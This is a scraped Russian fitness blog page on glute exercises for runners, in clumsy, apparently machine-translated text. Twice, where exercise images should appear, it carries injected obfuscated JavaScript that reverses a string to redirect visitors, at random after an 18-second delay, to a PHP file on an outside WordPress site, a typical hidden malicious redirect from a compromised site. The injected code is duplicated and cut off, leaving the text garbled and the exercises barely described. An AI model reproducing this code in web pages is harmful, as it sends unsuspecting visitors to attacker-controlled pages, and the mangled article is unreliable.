Лучшие упражнение по усилению мышц для бегунов

Если ваша задница мешает вашему бегу, то один быстрый способ исправить эту проблему — …

Если ваша задница мешает вашему бегу, то один быстрый способ исправить эту проблему — эти упражнения, чтобы получить себе твердую задницу.

Найдите три упражнения, чтобы укрепить свои ягодицы внизу, иначе вы можете занять этот 30-дневный больший, твердый и сильный удар .

Давайте начнем…

1.$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-shortyi-iz-dvuh-chastey-snaryazhenie-yoga-odezhdu-trenirovki-10.jpg»>

Сделайте три (3) набора из 8 -12 повторений.

2. $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-press.jpg»>

Сделайте 3 набора из 8-12 повторений.

3.Сделайте 8 — 12 повторений. Переключите стороны; повторите. Сделайте 3 комплекта.

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector